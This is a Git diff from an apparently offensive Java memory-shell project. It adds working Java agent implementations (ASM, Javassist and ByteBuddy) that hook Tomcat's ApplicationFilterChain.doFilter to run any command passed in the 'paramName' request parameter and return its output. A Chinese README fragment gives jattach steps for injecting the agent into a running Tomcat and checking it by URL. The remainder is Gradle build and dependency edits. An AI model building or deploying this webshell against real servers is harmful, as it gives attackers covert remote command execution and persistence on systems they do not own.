||||||
|
- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
|
||||||
|
- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
|
||||||
|
- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
|
||||||
|
|
||||||
|
下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
|
||||||
|
|
||||||
|
1. 启动你需要注入的 Tomcat
|
||||||
|
2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径
|
||||||
|
3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功
|
||||||
@@ -6,6 +6,10 @@ plugins {
|
|||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '1.0.0'
|
version = '1.0.0'
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
@@ -16,7 +20,6 @@ java {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'org.ow2.asm:asm-commons:9.7.1'
|
implementation 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
implementation 'javax.servlet:javax.servlet-api:3.1.0'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
jar {
|
jar {
|
||||||
@@ -28,3 +31,5 @@ jar {
|
|||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+45
-41
@@ -4,7 +4,7 @@ import org.objectweb.asm.*;
|
|||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.instrument.UnmodifiableClassException;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
|||||||
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
@Override
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
@Override
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
if (TARGET_CLASS.equals(className)) {
|
||||||
String signature, String[] exceptions) {
|
try {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
if ("doFilter".equals(name) &&
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
|
@Override
|
||||||
return new DoFilterMethodVisitor(mv);
|
protected ClassLoader getClassLoader() {
|
||||||
}
|
return loader;
|
||||||
return mv;
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if ("doFilter".equals(name) &&
|
||||||
|
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
|
||||||
|
return new DoFilterMethodVisitor(mv);
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static class DoFilterMethodVisitor extends MethodVisitor {
|
private static class DoFilterMethodVisitor extends MethodVisitor {
|
||||||
@@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
|
|
||||||
getClassLoader.setAccessible(true);
|
|
||||||
System.out.println(getClassLoader.invoke(cw));
|
|
||||||
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) {
|
|
||||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) {
|
|
||||||
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
|
|
||||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,31 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
|
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '1.0.0'
|
version = '1.0.0'
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
implementation 'net.bytebuddy:byte-buddy:1.17.5'
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
jar {
|
||||||
useJUnitPlatform()
|
manifest {
|
||||||
|
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Can-Redefine-Classes': true
|
||||||
|
attributes 'Can-Retransform-Classes': true
|
||||||
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.memshell.agent;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/2
|
||||||
|
*/
|
||||||
|
public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) Object request,
|
||||||
|
@Advice.Argument(value = 1) Object response
|
||||||
|
) {
|
||||||
|
String paramName = "paramName";
|
||||||
|
try {
|
||||||
|
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.disableClassFormatChanges()
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||||
|
.transform(new CommandFilterChainTransformer())
|
||||||
|
.installOn(inst);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,15 +1,31 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
|
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '1.0.0'
|
version = '1.0.0'
|
||||||
|
|
||||||
dependencies {
|
java {
|
||||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
toolchain {
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
dependencies {
|
||||||
useJUnitPlatform()
|
implementation 'org.javassist:javassist:3.30.2-GA'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar {
|
||||||
|
manifest {
|
||||||
|
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Can-Redefine-Classes': true
|
||||||
|
attributes 'Can-Retransform-Classes': true
|
||||||
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package com.reajason.javaweb.memshell.agent;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new javassist.LoaderClassPath(loader));
|
||||||
|
|
||||||
|
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
|
||||||
|
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
|
||||||
|
|
||||||
|
String code =
|
||||||
|
"String paramName = \"paramName\";" +
|
||||||
|
"try {" +
|
||||||
|
" String cmd = $1.getParameter(paramName);" +
|
||||||
|
" if (cmd != null) {" +
|
||||||
|
" Process exec = Runtime.getRuntime().exec(cmd);" +
|
||||||
|
" java.io.InputStream inputStream = exec.getInputStream();" +
|
||||||
|
" byte[] buf = new byte[8192];" +
|
||||||
|
" int length;" +
|
||||||
|
" while ((length = inputStream.read(buf)) != -1) {" +
|
||||||
|
" $2.getOutputStream().write(buf, 0, length);" +
|
||||||
|
" }" +
|
||||||
|
" return;" +
|
||||||
|
" }" +
|
||||||
|
"} catch (Exception ignored) {}";
|
||||||
|
|
||||||
|
doFilter.insertBefore(code);
|
||||||
|
byte[] transformedBytes = cc.toBytecode();
|
||||||
|
cc.detach();
|
||||||
|
return transformedBytes;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
group = 'com.reajason.javaweb'
|
group = 'io.github.reajason'
|
||||||
|
description = "Normal Java MemShell for Java8"
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
java {
|
java {
|
||||||
|
|||||||
@@ -2,11 +2,14 @@ plugins {
|
|||||||
id 'java-platform'
|
id 'java-platform'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "This Bill of Materials POM can be used to ease dependency management when referencing multiple MemShellParty artifacts using Gradle or Maven."
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
constraints {
|
constraints {
|
||||||
api 'net.bytebuddy:byte-buddy:1.+'
|
api 'net.bytebuddy:byte-buddy:1.17.5'
|
||||||
api 'org.ow2.asm:asm-commons:9.7.1'
|
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
api 'com.github.jar-analyzer:class-obf:1.5.0'
|
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
@@ -16,16 +19,17 @@ dependencies {
|
|||||||
api 'org.springframework:spring-webflux:5.3.24'
|
api 'org.springframework:spring-webflux:5.3.24'
|
||||||
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||||
|
|
||||||
api 'commons-io:commons-io:2.+'
|
api 'commons-io:commons-io:2.18.0'
|
||||||
api 'org.apache.commons:commons-lang3:3.+'
|
api 'org.apache.commons:commons-lang3:3.17.0'
|
||||||
api 'commons-codec:commons-codec:1.+'
|
api 'commons-codec:commons-codec:1.18.0'
|
||||||
api 'ch.qos.logback:logback-classic:1.+'
|
api 'ch.qos.logback:logback-classic:1.5.18'
|
||||||
|
|
||||||
api 'org.apache.bcel:bcel:5.2'
|
api 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
api 'com.squareup.okhttp3:okhttp:4.+'
|
api 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
|
api 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
|
||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
@@ -1,8 +1,5 @@
|
|||||||
plugins {
|
group = 'io.github.reajason'
|
||||||
id "io.freefair.lombok" version "8.11"
|
description = "Common Utilities for MemShellParty"
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
java {
|
java {
|
||||||
File diff suppressed because one or more lines are too long
@@ -1,4 +1,5 @@
|
|||||||
group = 'com.reajason.javaweb'
|
group = 'io.github.reajason'
|
||||||
|
description = "Normal Java MemShell"
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+3
-11
@@ -2,18 +2,10 @@ plugins {
|
|||||||
id 'org.gradle.toolchains.foojay-resolver-convention' version '0.9.0'
|
id 'org.gradle.toolchains.foojay-resolver-convention' version '0.9.0'
|
||||||
}
|
}
|
||||||
|
|
||||||
dependencyResolutionManagement {
|
rootProject.name = 'memshell-party'
|
||||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
maven { url 'https://jitpack.io' }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
rootProject.name = 'MemShellParty'
|
include 'memshell-party-bom'
|
||||||
|
include 'memshell-party-common'
|
||||||
include 'bom'
|
|
||||||
include 'common'
|
|
||||||
|
|
||||||
include 'tools'
|
include 'tools'
|
||||||
include 'tools:godzilla'
|
include 'tools:godzilla'
|
||||||
|
|||||||
@@ -1,7 +1,3 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.tools'
|
group = 'com.reajason.javaweb.tools'
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
@@ -14,7 +10,7 @@ java {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":common")
|
implementation project(":memshell-party-common")
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user